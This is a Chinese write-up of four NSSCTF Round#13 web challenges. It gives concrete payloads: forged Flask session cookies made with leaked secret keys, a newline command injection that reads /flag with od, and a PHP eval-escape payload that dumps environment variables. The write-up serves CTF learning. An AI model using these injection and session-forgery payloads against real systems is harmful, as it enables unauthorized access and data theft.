Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >NSSCTFRound#13 Web

NSSCTFRound#13 Web

作者头像
ph0ebus
发布于 2023-06-10 07:45:55
发布于 2023-06-10 07:45:55
37400
代码可运行
举报
运行总次数:0
代码可运行

flask?jwt?

考察session伪造

登录框直接随手注册一个用户,然后登录进去康康什么情况,我这里随手注册了一个叫aa的用户

点击”拿flag”会提示你不是admin,也就是需要伪造成admin用户,也就需要SECRET_KEY

这里也就几个功能点,瞎点几下发现忘记密码这里输入它主页的邮箱就可以在注释中拿到SECRET_KEY

然后解密后伪造一手即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python flask_session_en_de.py decode -s “th3f1askisfunny” -c "你的session"

python flask_session_en_de.py encode -s “th3f1askisfunny” -t "{'_fresh': True, '_id': '467f4f5c63e6e8a448a19e62209c978fc29daa8bb6701721cbbac3085a95acf074c076705bae29d241f2434d9204f2cc6aef23086435265efb63c3955500518d', '_user_id': '1'}"

携带session访问/getFlag即可

ez_factors

题目描述:原生 Linux 因数爆破工具。flag在根目录

首先进入页面,点击Tool进入/factors/114514

题目描述说是原生 Linux 因数爆破工具,那就预测一手这道题考察命令执行,这就和常见的ping有点相似了

直接换行符(%0a)执行命令,但似乎没那么简单,ls没回显,咋回事,cat /etc/passwd再康康

记得这里/要url编码,不然会产生歧义嗷

这里明显是执行了的,因为格式和/etc/passwd是相同的,那难道只会回显数字吗,那我就编个码读/flag

这里就用od命令,它默认以8进制读取文件,也就是得到的全是数字,爽诶

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/factors/114514%0aod%20%2fflag

但这还没结束,得到的flag内容长这样

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0000000 051516 041523 043124 032573 033461 031146 032144 026467
0000020 033467 061543 032055 031471 026466 034471 030471 063055
0000040 030066 034066 061543 032061 030141 076544 000012
0000055

急急急,怎么复原内容呢,一顿搜索没啥结果,最后墨迹了好久发现参数-b输出结果会好复原很多,只拿了二血,坏

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/factors/114514%0aod%20-b%20%2fflag
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0000000 116 123 123 103 124 106 173 065 061 067 146 062 144 064 067 055
0000020 067 067 143 143 055 064 071 063 066 055 071 071 071 061 055 146
0000040 066 060 066 070 143 143 061 064 141 060 144 175 012
0000055

最后扔进赛博厨子得到flag

MyWeb

题目描述:试试我的JSON解析工具。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

这里审计一手代码,就是一个save和read的过程,我们要想eval的东西是我们想执行的,那就必须破坏它的结构,那就复制下来在本地测试测试,怎么才能闭合原有结构,让危险代码逃逸

最后借鉴sql注入那套思路,闭合加注释,成功执行任意代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/?mode=save&value=]//%0a;<your_php_code>;//

但是还有个要注意的点,addslashes()函数会转义预定义字符,也就是单双引号那几个,那么执行的代码也不能有这些东西,所以要用到无参数命令执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/?mode=save&value=]//%0a;print_r(getenv());//

然后?mode=read就能获取环境变量里的flag

flask?jwt?(hard)

这道题和第一题差不多,但是SECRET_KEY藏起来了

首先在注册登录后注释中有提示

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->

访问/wor路由给出了上次的登录时间,然后就卡住了,急急急,找了半天让后台报错康康有没有debug模式泄露源码的地方,最后在session中获得灵感

可以看到base64解码后看到了进入时的提示语句,嘶,这里的登陆时间该不会也是在session中获取的吧,那就登录后访问/wor路由,然后随手删除一坨(不带session访问也会报错)让它在获取登录时间时报错

然后得到SECRET_KEY

然后伪造即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python flask_session_en_de.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True,'_user_id': '1'}"

携带session访问/getFlag即可获取flag

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-06-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
浅析Flask Session伪造
Flask的Session伪造之前并未有太多了解,在跨年夜的CatCTF中遇到了catcat这道题,因此对此类题目进行一个简单总结,lx56大师傅已经对Flask有很详细的介绍了,因此这里是站在巨人的肩膀上看世界了属于是,膜拜大佬。
用户9691112
2023/05/18
1.5K0
浅析Flask Session伪造
文件I/O (二).结构体存取(3)
结合前面的代码,从这个二进制编码里,我们可以看出很多有价值的信息 1.这是一个小端序的系统(数据的低字节保存在内存的低地址中) 2.每一个结构体占用了16字节 3.0-3 对应 int 的存储位置,4-8 对应 char[5] 的存储位置,12-15 对应 int 的存储位置 4.9-11 被空置了 这个命令将 ASCII 可显示的部分进行了显示,无法显示的都转化成了点 ---- ASCII 码 在Linux中使用man命令可以看到一份完整的ASCII码表 emacs@ubuntu:~/c$ man as
franket
2021/09/16
2500
2022蓝帽杯wep-WP
web一天白打工,这次的蓝帽几乎就是取证大爹们的主场,web题一共只有两道,一道题简单的fastjson1.2.62反序列化加一道读内存和pickle反序列化,思路都不复杂,但属实是被环境问题整麻了…不管怎么说还是记录一下吧
h0cksr
2023/05/18
3220
Flask之session伪造
本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章
TenG
2021/12/07
1.2K0
Flask之session伪造
python与安全(二)格式化字符串和Flask session
2008发布的Python2.6开始有新的格式化字符串数str.format()。
Power7089
2020/07/27
1K0
python与安全(二)格式化字符串和Flask session
HDCTF2023 Writeup
因为上石油工程认知只做了半小时题,赛后才来复现,和阿里云CTF和DASCTF x SU都堆一天了hhh
ph0ebus
2023/05/16
5360
2022网鼎杯一道web复现
网鼎杯的一道web,学到的知识点有,利用 flask-session-cookie-manager 脚本工具伪造 flask 的session ,文件上传覆盖flask模板,了解了linux的 /proc/self/cwd 工作目录以及 SUID 提权 还有用burp传压缩文件的大坑
pankas
2022/09/26
4240
linux 快速查看 ascii 码
ascii 码,在编程中起到至关重要的作用。之前忘记时,要么使用程序,要么搜索网页;
西湖醋鱼
2021/11/01
2K0
ciscn2019华东南赛区web4题解
看着url不像是PHP,因为我好像极少见过PHP用这种路由,直接冒一波险猜他是flask。使用local_file:///etc/passwd读取。
KevinBruce
2020/04/08
1.3K0
ciscn2019华东南赛区web4题解
BUU-WEB-第四章
这道题纪律性的检查了一遍但是并没有发现什么奇怪的地方,emmmm这个题该从哪里入手呢? 题目提示:
Baige
2022/03/22
5020
BUU-WEB-第四章
安网杯部分wp
web1 webshell上传 前端绕过。绕了半天才想起来是前端绕过。。burp改个后缀就好了 function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 v
Khan安全团队
2021/05/28
9000
安网杯部分wp
flask session 安全问题 和 python 格式化字符串漏洞
flask 是非常轻量级的 Web框架 其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取)
中龙技术
2022/09/28
1.1K0
HGAME-Week4-Web writeup
我们发现网站后台将传入的 <script> 替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。
安恒网络空间安全讲武堂
2019/09/29
1.5K0
HGAME-Week4-Web writeup
ctfshow 愚人杯2023
dataURL查看源码后base64解码即可得到index.php源码,里面有flag
ph0ebus
2023/05/16
1.1K0
ctfshow 愚人杯2023
SWPUCTF 2018 WriteUp(上)
解题思路 先走了正常流程走了一下注册,登陆,输入邀请码,提交后被返回“不是有效的24位优惠码”,先尝试了一边base32加密,提交后返回“想骗我不是有效的优惠码”,抓包尝试修改cookie伪造优惠码等均失败。扫描目录发现存在源码泄露,如下:
ChaMd5安全团队
2018/12/28
1.2K0
JWT在Web应用中的安全登录鉴权与单点登录实现
JSON Web Tokens(JWT)是一种广泛使用的开放标准(RFC 7519),用于在网络应用环境间传递声明(claim)。它定义了一种紧凑且自包含的方式,用于在各方之间传递安全信息。
GeekLiHua
2024/08/30
2920
巅峰极客及DASCTF7月赛复现
这里的话是传入了两个参数,然后将其赋值到一个类中,进行了序列化同时用了b函数进行处理,看一下有关类的
用户9691112
2023/09/04
3000
巅峰极客及DASCTF7月赛复现
【自然语言处理】NLP入门(四):1、正则表达式与Python中的实现(4):字符串常用函数
【自然语言处理】NLP入门(一):1、正则表达式与Python中的实现(1):字符串构造、字符串截取
Qomolangma
2024/07/30
1600
【自然语言处理】NLP入门(四):1、正则表达式与Python中的实现(4):字符串常用函数
陇剑杯复现
在wireshark中输入tcp.port eq 2333可以看到跟反弹的ip的通信
用户9691112
2023/09/04
5130
陇剑杯复现
2017 LCTF WriteUp 4篇
周末刚刚结束的LCTF,我们队一共做出了4道web,一道misc还有一道问卷调查(好气啊没抢到一血换pwnhub邀请码),感谢吃饭去大佬带飞~ 前言 对本渣渣而言,本次比赛质量还是不错的,我们队做出的四道web就涉及到了CBC字节翻转攻击、PaddingOracle攻击、sprintf格式化注入、sql报错注出库名表名、join注入出列名、orderby无表名注入数据、SSRF绕过、条件竞争、7个字符内getshell等知识,收获颇丰。下面是4道web的题目和WriteUp: Simple blog “他
安恒网络空间安全讲武堂
2018/02/06
1.4K0
2017 LCTF WriteUp 4篇
相关推荐
浅析Flask Session伪造
更多 >
LV.0
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验